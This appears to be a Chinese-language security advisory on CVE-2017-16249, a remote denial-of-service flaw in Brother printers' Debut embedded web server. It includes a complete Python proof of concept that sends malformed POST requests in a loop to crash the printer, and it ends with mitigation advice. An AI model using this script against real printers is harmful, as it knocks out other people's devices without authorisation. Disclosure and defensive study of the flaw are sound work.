近期,Trustwave实验室发现兄弟牌(Brother)网络打印机的Debut嵌入式web服务前端存在漏洞,攻击者只需向目标打印机发送一个简单的HTTP POST畸形请求,就可对目标打印机形成远程DoS攻击。截至目前,全球有14000多台暴露在互联网的Brother打印机可能会受到该漏洞影响。
攻击过程中,打印机会向攻击者返回一个500错误代码响应,之后,Web服务端无法访问,打印机将无法正常运行,形成崩溃。不幸的是,尽管Trustwave方面已以多种方式与Brother公司就该漏洞进行通报,但到目前,Brother公司仍然没有释出任何更新补丁。
漏洞信息
漏洞类型:远程未授权DoS漏洞
漏洞公布时间: 2017.11.16
影响厂商: 兄弟公司-Brother (http://www.brother-usa.com)
影响产品: Debut嵌入式http服务(Debut embedded httpd)
影响产品版本:1.20及其以下版本
影响产品描述:兄弟牌网络打印机的Debut嵌入式http服务Web接口
CVE编号 : CVE-2017-16249
PoC
以下PoC通过连接目标打印机,发送畸形HTTP请求,等待打印机Web服务端返回500错误响应,之后,PoC又会继续向目标打印机发送畸形HTTP请求,继续让其发生500错误,如此反复,最终形成远程DoS攻击。
#!/usr/bin/python
import socket
import sys
target = raw_input("[] Enter target IP or hostname: ")
port = raw_input("[] Enter target port: ")
payload = "POST / HTTP/1.1\r\n"
payload += "Host: asdasdasd\r\n"
payload += "User-Agent: asdasdasd\r\n"
payload += "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8\r\n"
payload += "Accept-Language: en-US,en;q=0.5\r\n"
payload += "Referer: asdasdasdasd\r\n"
payload += "Connection: close\r\n"
payload += "Upgrade-Insecure-Requests: 1\r\n"
payload += "Content-Type: application/x-www-form-urlencoded\r\n"
payload += "Content-Length: 42\r\n"
payload += "asdasdasdasdasdasdasd\r\n\r\n"
print "[] Starting DOS. Payload will be sent every time the server responds."
while True:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
s.connect((target,int(port)))
print "[] Sending DOS payload"
s.send(payload)
# Wait for server to respond with 500 error
s.recv(4096)
s.close()
except:
print("[!] Can't connect to target")
sys.exit()
缓解措施
为了缓解该漏洞影响,管理员需要自行对相关设备进行加固防护。我们建议采取严格的访问控制列表和网络分段措施,配合防火墙之类设备,来限制Web端访问和设备暴露在网。
有些人根本不把DDoS攻击当回事,他们认为这就是简单的麻烦事。但DDoS攻击可以对组织机构的资源和生产力造成影响,是对组织机构直接网络攻击的一种方式,例如,攻击者可以发起DoS攻击,然后假冒解决问题的技术人员,直接对IT设备获取物理访问权限,深入接触到那些通过网络远程无法访问到的IT资源。漏洞虽小,但其影响不容忽视。